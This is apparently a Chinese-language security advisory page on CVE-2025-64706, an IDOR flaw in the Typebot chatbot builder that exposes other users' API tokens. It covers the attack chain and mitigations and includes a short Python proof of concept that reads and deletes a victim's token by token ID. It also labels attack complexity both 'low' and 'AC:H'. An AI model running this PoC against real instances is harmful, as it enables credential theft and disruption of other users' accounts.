IPBUF安全漏洞报告
English
CVE-2025-64706 CVSS 5.0 中危

CVE-2025-64706 Typebot IDOR漏洞可删除任意用户API Token

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64706
漏洞类型
IDOR(不安全的直接对象引用)
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Typebot

相关标签

IDORTypebotAPI TokenCVE-2025-64706授权绕过聊天机器人Web安全

漏洞概述

CVE-2025-64706是Typebot聊天机器人构建器中存在的一个中等严重性安全漏洞。该漏洞于2025年11月13日被披露,属于不安全的直接对象引用(IDOR)类型。Typebot是一款开源的聊天机器人构建平台,广泛应用于企业客服、自动化流程等领域。在3.9.0至3.12.9999版本中,API token管理功能存在严重的授权缺陷。具体而言,攻击者只需知道目标用户的ID和API token的ID,即可无需任何授权验证即可删除该用户的API token并获取其明文值。这意味着任何经过身份认证的低权限用户都能够访问和操作其他用户的敏感凭证信息。此漏洞的CVSS评分为5.0(中等),攻击复杂度低,无需用户交互即可实施。虽然CVSS向量的机密性影响标注为高,但由于实际风险主要涉及API token的窃取和删除,建议受影响用户尽快升级至3.13.0或更高版本以修复此安全问题。

技术细节

Typebot 3.9.0至3.12.9999版本中的API token管理端点存在不安全的直接对象引用(IDOR)漏洞。该漏洞的根本原因在于后端API在处理token删除和读取请求时,未正确验证当前认证用户与目标token所有者之间的关系。攻击者通过以下方式利用此漏洞:首先,攻击者需要拥有一个有效的Typebot账户并完成登录认证。然后,攻击者通过枚举或信息收集获取目标用户的ID以及该用户创建的API token的ID。由于API端点仅检查用户是否已认证,而未验证请求者是否有权操作目标用户的token,因此攻击者可以直接发送带有目标用户ID和token ID的HTTP请求来执行以下操作:1)读取目标用户的API token值;2)删除目标用户的API token。攻击向量为网络层面(AV:N),攻击复杂度低(AC:H),需要低权限(PR:L),无需用户交互(UI:N)。成功利用后,攻击者可以获取目标用户的API访问权限,进而以该用户身份执行API操作,或通过删除token来干扰目标用户的正常业务功能。

攻击链分析

STEP 1
步骤1
攻击者注册并登录Typebot平台,获取有效的认证token
STEP 2
步骤2
通过用户枚举或社会工程学手段获取目标用户的ID
STEP 3
步骤3
通过日志泄露、API枚举或其他方式获取目标用户创建的API token ID
STEP 4
步骤4
构造恶意HTTP请求,指定目标用户ID和token ID,发起到API token管理端点的请求
STEP 5
步骤5
后端API未验证请求者权限,直接执行删除或读取操作,返回目标用户的API token
STEP 6
步骤6
攻击者利用获取的API token以目标用户身份执行API操作或删除token导致拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-64706 PoC - Typebot IDOR Vulnerability # Target: Typebot API Token Management Endpoint TARGET_URL = "http://target-typebot-instance.com" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_USER_ID = "victim_user_id_here" TARGET_TOKEN_ID = "victim_api_token_id_here" def delete_user_api_token(): """Delete any user's API token without authorization""" endpoint = f"{TARGET_URL}/api/api-tokens/{TARGET_TOKEN_ID}" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # IDOR: No check if attacker owns this token response = requests.delete(endpoint, headers=headers) if response.status_code == 200: print("[+] Successfully deleted victim's API token") else: print(f"[-] Failed: {response.status_code}") def read_user_api_token(): """Read any user's API token value without authorization""" endpoint = f"{TARGET_URL}/api/api-tokens/{TARGET_TOKEN_ID}" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # IDOR: No ownership verification response = requests.get(endpoint, headers=headers) if response.status_code == 200: data = response.json() token_value = data.get("token", "") print(f"[+] Retrieved API Token: {token_value}") return token_value else: print(f"[-] Failed: {response.status_code}") return None if __name__ == "__main__": print("CVE-2025-64706 PoC - Typebot IDOR") print("=" * 50) read_user_api_token() delete_user_api_token()

影响范围

Typebot >= 3.9.0 且 < 3.13.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制API token管理功能的访问权限,仅允许管理员操作;2)监控和审查API访问日志,检测异常的token操作行为;3)实施IP白名单策略,限制API访问来源;4)定期轮换用户API token以降低凭证泄露风险;5)考虑临时禁用非必要的API token功能,直至完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表